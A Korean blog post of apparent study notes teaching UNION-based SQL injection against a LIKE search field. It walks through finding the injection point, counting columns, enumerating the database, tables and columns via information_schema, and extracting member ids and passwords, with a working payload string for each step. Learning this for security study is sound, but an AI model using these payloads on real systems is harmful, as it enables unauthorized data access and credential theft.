기본적으로 데이터 추출은 DB데이터를 사용하는 곳에서 테스트 한다.

 

그 데이터가 화면에 나오는지 여부에 따라서

1. 웹페이지에 데이터가 나온다 : ex) 게시판

2. 나오지 않는다 : ex) 로그인 페이지

 

두 가지로 나뉘며, 두 경우 모두 다 데이터를 뽑아낼 수 있다.

 

오늘은 그 중 웹페이지에 데이터가 나오는 케이스를 공부한다.

 


 

# 웹페이지에 데이터가 나오는 경우에 데이터를 추출하는 방법

 

원리 예시 :

게시글 제목 및 내용이 아니라, 조작해서 아이디와 비번을 적어줘.

 

 

WAS에 준비된 구문으로는 추출이 어려우니,

union 을 사용하여 우리가 원하는 데이터를 얻는다.

(셀렉트를 한 번 더 쓸 수 있게 함.)

 

ex) ( select ~~~ ) union ( select ~~~ )

 

 

단, 이때 Column 수를 정확하게 맞춰야 한다. (앞 select와 뒤 select)

 


 

# UNION SQL Injection

UNION SQL Injection Process

1. SQL Injection 포인트 찾기
2. COLUMN 개수 찾기
3. 출력되는 column 위치 찾기
4. DB 이름 확인
5. Table 이름 확인
6. Column 이름 확인
7. Data 추출

 

항시 위 순서에 맞게 인젝션을 진행하는 게 좋다.

 

 

 

1. SQL Injection 포인트 찾기

: SQL Injection이 되는지 안 되는지 체크하기

 

1) like 구문인지 먼저 확인

예시) overwatch 를 검색할 때, full name을 써야한다면 like 아님. over처럼 일부만 써도 검색 된다면 like 임.

 

like인 경우 구문은 다음과 같다.

select * from game where name like 'over%'

 

따라서 like 구문인 곳에서는 다음과 같이 SQL Injection 포인트를 찾는다.

1. 맞는 조건으로 구문 넣어보기

over%' and '1%' = '1

2. 틀린 조건으로 구문 넣어보기

overrrrr%' and '1%' = '1

 

맞는 조건에선 이상 없고, 틀린 조건에서 결과가 없다고 나오면 SQL Injection이 가능하다고 보면 된다.

 

 

2. COLUMN 개수 찾기

union 좌우 select의 컬럼 갯수를 맞춰줘야 하기 때문에

해당 테이블의 컬럼 갯수를 다음과 같이 확인한다.
(order by 1의 의미 : 1번째 열을 기준으로 정렬해줘!)

 

over%' order by 1#

over%' order by 2#

...

 

오류가 나지 않을 때까지 갯수를 확인한다.

 

 

3. 출력되는 column 위치 찾기 

화면에 출력되는 컬럼이 몇 번째인지 확인한다.

 

예시) 컬럼이 4개일 때

over%' union select 1,2,3,4 #

 

만약 1, 2, 3, 4가 모두 뜬다면 모든 컬럼을 사용할 수 있는 것.

2만 뜬다면 그 컬럼만 사용할 수 있는 것이다.

 

 

4. DB 이름 확인 

DB의 이름은 다음과 같이 확인할 수 있다.

 

예시) 두 번째 컬럼만 활용 가능할 때

over%' union select 1,database(),3,4 #

 

 

5. Table 이름 확인 

테이블 이름은 다음과 같이 확인할 수 있다.

 

예시) db이름은 위에서 확인한 db 이름을 사용하면 된다.

over%' union select 1,table_name,3,4 from information_schema.tables where table_schema = "DB이름" #

 

 

6. Column 이름 확인 

해당 테이블에 어떤 컬럼들이 있는지 확인한다.

 

over%' union select 1,column_name,3,4 from information_schema.columns where table_name = 'Table이름'#

 

 

7. Data 추출 

지금까지 얻은 정보를 바탕으로 다음과 같이 데이터를 추출한다.

 

예시) 두 번째 컬럼만 활용 가능할 때

over%' union select 1,id,3,4 from member #

over%' union select 1,pass,3,4 from member #

 

 

 

 

+ Recent posts